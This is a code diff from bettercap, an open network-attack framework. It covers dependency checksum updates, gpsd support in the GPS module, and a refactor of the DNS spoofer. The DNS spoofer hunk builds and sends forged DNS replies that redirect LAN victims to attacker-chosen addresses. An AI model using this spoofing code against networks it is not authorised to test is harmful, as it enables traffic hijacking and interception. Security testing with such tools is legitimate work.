github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d h1:5PJl274Y63IEHC+7izoQE9x6ikvDFZS2mDVS3drnohI=
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
github.com/mgutz/logxi v0.0.0-20161027140823-aebf8a7d67ab h1:n8cgpHzJ5+EDyDri2s/GC7a9+qK3/YEGnBsd0uS/8PY= github.com/mgutz/logxi v0.0.0-20161027140823-aebf8a7d67ab h1:n8cgpHzJ5+EDyDri2s/GC7a9+qK3/YEGnBsd0uS/8PY=
github.com/mgutz/logxi v0.0.0-20161027140823-aebf8a7d67ab/go.mod h1:y1pL58r5z2VvAjeG1VLGc8zOQgSOzbKN7kMHPvFXJ+8= github.com/mgutz/logxi v0.0.0-20161027140823-aebf8a7d67ab/go.mod h1:y1pL58r5z2VvAjeG1VLGc8zOQgSOzbKN7kMHPvFXJ+8=
github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
@ -94,20 +127,28 @@ github.com/miekg/dns v1.1.14 h1:wkQWn9wIp4mZbwW8XV6Km6owkvRPbOiV004ZM2CkGvA=
github.com/miekg/dns v1.1.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/miekg/dns v1.1.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
github.com/miekg/dns v1.1.22 h1:Jm64b3bO9kP43ddLjL2EY3Io6bmy1qGb9Xxz6TqS6rc= github.com/miekg/dns v1.1.22 h1:Jm64b3bO9kP43ddLjL2EY3Io6bmy1qGb9Xxz6TqS6rc=
github.com/miekg/dns v1.1.22/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= github.com/miekg/dns v1.1.22/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso=
github.com/miekg/dns v1.1.27/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
github.com/miekg/dns v1.1.31 h1:sJFOl9BgwbYAWOGEwr61FU28pqsBNdpRBnhGXtO06Oo=
github.com/miekg/dns v1.1.31/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y= github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I= github.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I=
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/robertkrimen/otto v0.0.0-20180617131154-15f95af6e78d h1:1VUlQbCfkoSGv7qP7Y+ro3ap1P1pPZxgdGVqiTVy5C4= github.com/robertkrimen/otto v0.0.0-20180617131154-15f95af6e78d h1:1VUlQbCfkoSGv7qP7Y+ro3ap1P1pPZxgdGVqiTVy5C4=
github.com/robertkrimen/otto v0.0.0-20180617131154-15f95af6e78d/go.mod h1:xvqspoSXJTIpemEonrMDFq6XzwHYYgToXWj5eRX1OtY= github.com/robertkrimen/otto v0.0.0-20180617131154-15f95af6e78d/go.mod h1:xvqspoSXJTIpemEonrMDFq6XzwHYYgToXWj5eRX1OtY=
github.com/robertkrimen/otto v0.0.0-20200922221731-ef014fd054ac h1:kYPjbEN6YPYWWHI6ky1J813KzIq/8+Wg4TO4xU7A/KU=
github.com/robertkrimen/otto v0.0.0-20200922221731-ef014fd054ac/go.mod h1:xvqspoSXJTIpemEonrMDFq6XzwHYYgToXWj5eRX1OtY=
github.com/rogpeppe/go-charset v0.0.0-20180617210344-2471d30d28b4/go.mod h1:qgYeAmZ5ZIpBWTGllZSQnw97Dj+woV0toclVaRGI8pc= github.com/rogpeppe/go-charset v0.0.0-20180617210344-2471d30d28b4/go.mod h1:qgYeAmZ5ZIpBWTGllZSQnw97Dj+woV0toclVaRGI8pc=
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q= github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07 h1:UyzmZLoiDWMRywV4DUYb9Fbt8uiOSooupjTq10vpvnU= github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07 h1:UyzmZLoiDWMRywV4DUYb9Fbt8uiOSooupjTq10vpvnU=
github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07/go.mod h1:kDXzergiv9cbyO7IOYJZWg1U88JhDg3PB6klq9Hg2pA= github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07/go.mod h1:kDXzergiv9cbyO7IOYJZWg1U88JhDg3PB6klq9Hg2pA=
golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
@ -118,7 +159,11 @@ golang.org/x/crypto v0.0.0-20190621222207-cc06ce4a13d4/go.mod h1:yigFU9vqHzYiE8U
golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY= golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550 h1:ObdrDkeb4kJdCP557AjRjq69pTHfNouLtWZG7j9rPN8= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550 h1:ObdrDkeb4kJdCP557AjRjq69pTHfNouLtWZG7j9rPN8=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20200820211705-5c72a883971a h1:vclmkQCjlDX5OydZ9wv8rBCcS0QyQY66Mpf/7BZbInM=
golang.org/x/crypto v0.0.0-20200820211705-5c72a883971a/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190310074541-c10a0554eabf/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190310074541-c10a0554eabf/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
@ -128,6 +173,9 @@ golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLL
golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20191014212845-da9a3fd4c582 h1:p9xBe/w/OzkeYVKm234g55gMdD1nSIooTir5kV11kfA= golang.org/x/net v0.0.0-20191014212845-da9a3fd4c582 h1:p9xBe/w/OzkeYVKm234g55gMdD1nSIooTir5kV11kfA=
golang.org/x/net v0.0.0-20191014212845-da9a3fd4c582/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20191014212845-da9a3fd4c582/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200925080053-05aa5d4ee321 h1:lleNcKRbcaC8MqgLwghIkzZ2JBQAb7QQ9MiwRt1BisA=
golang.org/x/net v0.0.0-20200925080053-05aa5d4ee321/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58 h1:8gQV6CLnAEikrhgkHFbMAEhagSSnXWGV915qUMm9mrU= golang.org/x/sync v0.0.0-20190423024810-112230192c58 h1:8gQV6CLnAEikrhgkHFbMAEhagSSnXWGV915qUMm9mrU=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
@ -143,16 +191,28 @@ golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191018095205-727590c5006e h1:ZtoklVMHQy6BFRHkbG6JzK+S6rX82//Yeok1vMlizfQ= golang.org/x/sys v0.0.0-20191018095205-727590c5006e h1:ZtoklVMHQy6BFRHkbG6JzK+S6rX82//Yeok1vMlizfQ=
golang.org/x/sys v0.0.0-20191018095205-727590c5006e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191018095205-727590c5006e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200923182605-d9f96fdee20d h1:L/IKR6COd7ubZrs2oTnTi73IhgqJ71c9s80WsQnh0Es=
golang.org/x/sys v0.0.0-20200923182605-d9f96fdee20d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2 h1:tW2bmiBqwgJj/UpqtC8EpXEZVYOwU0yG4iWbprSVAcs=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3 h1:cokOdA+Jmi5PJGXLlLllQSgYigAEfHXJAERHVMaCc2k=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac h1:MQEvx39qSf8vyrx3XRaOe+j1UDIzKwkYOVObRgGPVqI= golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac h1:MQEvx39qSf8vyrx3XRaOe+j1UDIzKwkYOVObRgGPVqI=
golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
gopkg.in/sourcemap.v1 v1.0.5 h1:inv58fC9f9J3TK2Y2R1NPntXEn3/wjWHkonhIUODNTI= gopkg.in/sourcemap.v1 v1.0.5 h1:inv58fC9f9J3TK2Y2R1NPntXEn3/wjWHkonhIUODNTI=
gopkg.in/sourcemap.v1 v1.0.5/go.mod h1:2RlvNNSMglmRrcvhfuzp4hQHwOtjxlbjX7UPY/GXb78= gopkg.in/sourcemap.v1 v1.0.5/go.mod h1:2RlvNNSMglmRrcvhfuzp4hQHwOtjxlbjX7UPY/GXb78=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
honnef.co/go/tools v0.0.0-2019.2.1 h1:fW1wbZIKRbRK56ETe5SYloH5SdLzhXOFet2KlpRKDqg= honnef.co/go/tools v0.0.0-2019.2.1 h1:fW1wbZIKRbRK56ETe5SYloH5SdLzhXOFet2KlpRKDqg=
honnef.co/go/tools v0.0.0-2019.2.1/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= honnef.co/go/tools v0.0.0-2019.2.1/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=

View file

@ -7,6 +7,7 @@ import (
"strconv" "strconv"
"sync" "sync"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/packets" "github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session" "github.com/bettercap/bettercap/session"
@ -148,23 +149,21 @@ func (mod *DNSSpoofer) Configure() error {
return nil return nil
} }
func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) { func DnsReply(s *session.Session, TTL uint32, pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) (string, string) {
redir := fmt.Sprintf("(->%s)", address.String()) redir := fmt.Sprintf("(->%s)", address.String())
who := target.String() who := target.String()
if t, found := mod.Session.Lan.Get(target.String()); found { if t, found := s.Lan.Get(target.String()); found {
who = t.String() who = t.String()
} }
mod.Info("sending spoofed DNS reply for %s %s to %s.", tui.Red(domain), tui.Dim(redir), tui.Bold(who))
var err error var err error
var src, dst net.IP var src, dst net.IP
nlayer := pkt.NetworkLayer() nlayer := pkt.NetworkLayer()
if nlayer == nil { if nlayer == nil {
mod.Debug("missing network layer skipping packet.") log.Debug("missing network layer skipping packet.")
return return "", ""
} }
var eType layers.EthernetType var eType layers.EthernetType
@ -198,7 +197,7 @@ func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp
Name: []byte(q.Name), Name: []byte(q.Name),
Type: q.Type, Type: q.Type,
Class: q.Class, Class: q.Class,
TTL: mod.TTL, TTL: TTL,
IP: address, IP: address,
}) })
} }
@ -232,8 +231,8 @@ func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp
err, raw = packets.Serialize(&eth, &ip6, &udp, &dns) err, raw = packets.Serialize(&eth, &ip6, &udp, &dns)
if err != nil { if err != nil {
mod.Error("error serializing packet: %s.", err) log.Error("error serializing packet: %s.", err)
return return "", ""
} }
} else { } else {
ip4 := layers.IPv4{ ip4 := layers.IPv4{
@ -253,15 +252,18 @@ func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp
err, raw = packets.Serialize(&eth, &ip4, &udp, &dns) err, raw = packets.Serialize(&eth, &ip4, &udp, &dns)
if err != nil { if err != nil {
mod.Error("error serializing packet: %s.", err) log.Error("error serializing packet: %s.", err)
return return "", ""
} }
} }
mod.Debug("sending %d bytes of packet ...", len(raw)) log.Debug("sending %d bytes of packet ...", len(raw))
if err := mod.Session.Queue.Send(raw); err != nil { if err := s.Queue.Send(raw); err != nil {
mod.Error("error sending packet: %s", err) log.Error("error sending packet: %s", err)
return "", ""
} }
return redir, who
} }
func (mod *DNSSpoofer) onPacket(pkt gopacket.Packet) { func (mod *DNSSpoofer) onPacket(pkt gopacket.Packet) {
@ -279,7 +281,10 @@ func (mod *DNSSpoofer) onPacket(pkt gopacket.Packet) {
for _, q := range dns.Questions { for _, q := range dns.Questions {
qName := string(q.Name) qName := string(q.Name)
if address := mod.Hosts.Resolve(qName); address != nil { if address := mod.Hosts.Resolve(qName); address != nil {
mod.dnsReply(pkt, eth, udp, qName, address, dns, eth.SrcMAC) redir, who := DnsReply(mod.Session, mod.TTL, pkt, eth, udp, qName, address, dns, eth.SrcMAC)
if redir != "" && who != "" {
mod.Info("sending spoofed DNS reply for %s %s to %s.", tui.Red(qName), tui.Dim(redir), tui.Bold(who))
}
break break
} else { } else {
mod.Debug("skipping domain %s", qName) mod.Debug("skipping domain %s", qName)

View file

@ -22,7 +22,8 @@ type HostEntry struct {
} }
func (e HostEntry) Matches(host string) bool { func (e HostEntry) Matches(host string) bool {
return e.Host == host || strings.HasSuffix(host, e.Suffix) || (e.Expr != nil && e.Expr.Match(host)) lowerHost := strings.ToLower(host)
return e.Host == lowerHost || strings.HasSuffix(lowerHost, e.Suffix) || (e.Expr != nil && e.Expr.Match(lowerHost))
} }
type Hosts []HostEntry type Hosts []HostEntry

View file

@ -8,6 +8,7 @@ import (
"github.com/bettercap/bettercap/session" "github.com/bettercap/bettercap/session"
"github.com/adrianmo/go-nmea" "github.com/adrianmo/go-nmea"
"github.com/koppacetic/go-gpsd"
"github.com/tarm/serial" "github.com/tarm/serial"
"github.com/evilsocket/islazy/str" "github.com/evilsocket/islazy/str"
@ -18,7 +19,16 @@ type GPS struct {
serialPort string serialPort string
baudRate int baudRate int
serial *serial.Port
serial *serial.Port
gpsd *gpsd.Session
}
var ModeInfo = [4]string{
"NoValueSeen",
"NoFix",
"Mode2D",
"Mode3D",
} }
func NewGPS(s *session.Session) *GPS { func NewGPS(s *session.Session) *GPS {
@ -31,7 +41,7 @@ func NewGPS(s *session.Session) *GPS {
mod.AddParam(session.NewStringParameter("gps.device", mod.AddParam(session.NewStringParameter("gps.device",
mod.serialPort, mod.serialPort,
"", "",
"Serial device of the GPS hardware.")) "Serial device of the GPS hardware or hostname:port for a GPSD instance."))
mod.AddParam(session.NewIntParameter("gps.baudrate", mod.AddParam(session.NewIntParameter("gps.baudrate",
fmt.Sprintf("%d", mod.baudRate), fmt.Sprintf("%d", mod.baudRate),
@ -63,7 +73,7 @@ func (mod *GPS) Name() string {
} }
func (mod *GPS) Description() string { func (mod *GPS) Description() string {
return "A module talking with GPS hardware on a serial interface." return "A module talking with GPS hardware on a serial interface or via GPSD."
} }
func (mod *GPS) Author() string { func (mod *GPS) Author() string {
@ -79,11 +89,17 @@ func (mod *GPS) Configure() (err error) {
return err return err
} }
mod.serial, err = serial.OpenPort(&serial.Config{ if mod.serialPort[0] == '/' || mod.serialPort[0] == '.' {
Name: mod.serialPort, mod.Debug("connecting to serial port %s", mod.serialPort)
Baud: mod.baudRate, mod.serial, err = serial.OpenPort(&serial.Config{
ReadTimeout: time.Second * 1, Name: mod.serialPort,
}) Baud: mod.baudRate,
ReadTimeout: time.Second * 1,
})
} else {
mod.Debug("connecting to gpsd at %s", mod.serialPort)
mod.gpsd, err = gpsd.Dial(mod.serialPort)
}
return return
} }
@ -118,6 +134,57 @@ func (mod *GPS) Show() error {
return nil return nil
} }
func (mod *GPS) readFromSerial() {
if line, err := mod.readLine(); err == nil {
if s, err := nmea.Parse(line); err == nil {
// http://aprs.gids.nl/nmea/#gga
if m, ok := s.(nmea.GNGGA); ok {
mod.Session.GPS.Updated = time.Now()
mod.Session.GPS.Latitude = m.Latitude
mod.Session.GPS.Longitude = m.Longitude
mod.Session.GPS.FixQuality = m.FixQuality
mod.Session.GPS.NumSatellites = m.NumSatellites
mod.Session.GPS.HDOP = m.HDOP
mod.Session.GPS.Altitude = m.Altitude
mod.Session.GPS.Separation = m.Separation
} else if m, ok := s.(nmea.GPGGA); ok {
mod.Session.GPS.Updated = time.Now()
mod.Session.GPS.Latitude = m.Latitude
mod.Session.GPS.Longitude = m.Longitude
mod.Session.GPS.FixQuality = m.FixQuality
mod.Session.GPS.NumSatellites = m.NumSatellites
mod.Session.GPS.HDOP = m.HDOP
mod.Session.GPS.Altitude = m.Altitude
mod.Session.GPS.Separation = m.Separation
}
} else {
mod.Debug("error parsing line '%s': %s", line, err)
}
} else if err != io.EOF {
mod.Warning("error while reading serial port: %s", err)
}
}
func (mod *GPS) runFromGPSD() {
mod.gpsd.Subscribe("TPV", func(r interface{}) {
report := r.(*gpsd.TPVReport)
mod.Session.GPS.Updated = report.Time
mod.Session.GPS.Latitude = report.Lat
mod.Session.GPS.Longitude = report.Lon
mod.Session.GPS.FixQuality = ModeInfo[report.Mode]
mod.Session.GPS.Altitude = report.Alt
})
mod.gpsd.Subscribe("SKY", func(r interface{}) {
report := r.(*gpsd.SKYReport)
mod.Session.GPS.NumSatellites = int64(len(report.Satellites))
mod.Session.GPS.HDOP = report.Hdop
//mod.Session.GPS.Separation = 0
})
mod.gpsd.Run()
}
func (mod *GPS) Start() error { func (mod *GPS) Start() error {
if err := mod.Configure(); err != nil { if err := mod.Configure(); err != nil {
return err return err
@ -128,42 +195,25 @@ func (mod *GPS) Start() error {
mod.Info("started on port %s ...", mod.serialPort) mod.Info("started on port %s ...", mod.serialPort)
for mod.Running() { if mod.serial != nil {
if line, err := mod.readLine(); err == nil { for mod.Running() {
if s, err := nmea.Parse(line); err == nil { mod.readFromSerial()
// http://aprs.gids.nl/nmea/#gga
if m, ok := s.(nmea.GNGGA); ok {
mod.Session.GPS.Updated = time.Now()
mod.Session.GPS.Latitude = m.Latitude
mod.Session.GPS.Longitude = m.Longitude
mod.Session.GPS.FixQuality = m.FixQuality
mod.Session.GPS.NumSatellites = m.NumSatellites
mod.Session.GPS.HDOP = m.HDOP
mod.Session.GPS.Altitude = m.Altitude
mod.Session.GPS.Separation = m.Separation
} else if m, ok := s.(nmea.GPGGA); ok {
mod.Session.GPS.Updated = time.Now()
mod.Session.GPS.Latitude = m.Latitude
mod.Session.GPS.Longitude = m.Longitude
mod.Session.GPS.FixQuality = m.FixQuality
mod.Session.GPS.NumSatellites = m.NumSatellites
mod.Session.GPS.HDOP = m.HDOP
mod.Session.GPS.Altitude = m.Altitude
mod.Session.GPS.Separation = m.Separation
}
} else {
mod.Debug("error parsing line '%s': %s", line, err)
}
} else if err != io.EOF {
mod.Warning("error while reading serial port: %s", err)
} }
} else {
mod.runFromGPSD()
} }
}) })
} }
func (mod *GPS) Stop() error { func (mod *GPS) Stop() error {
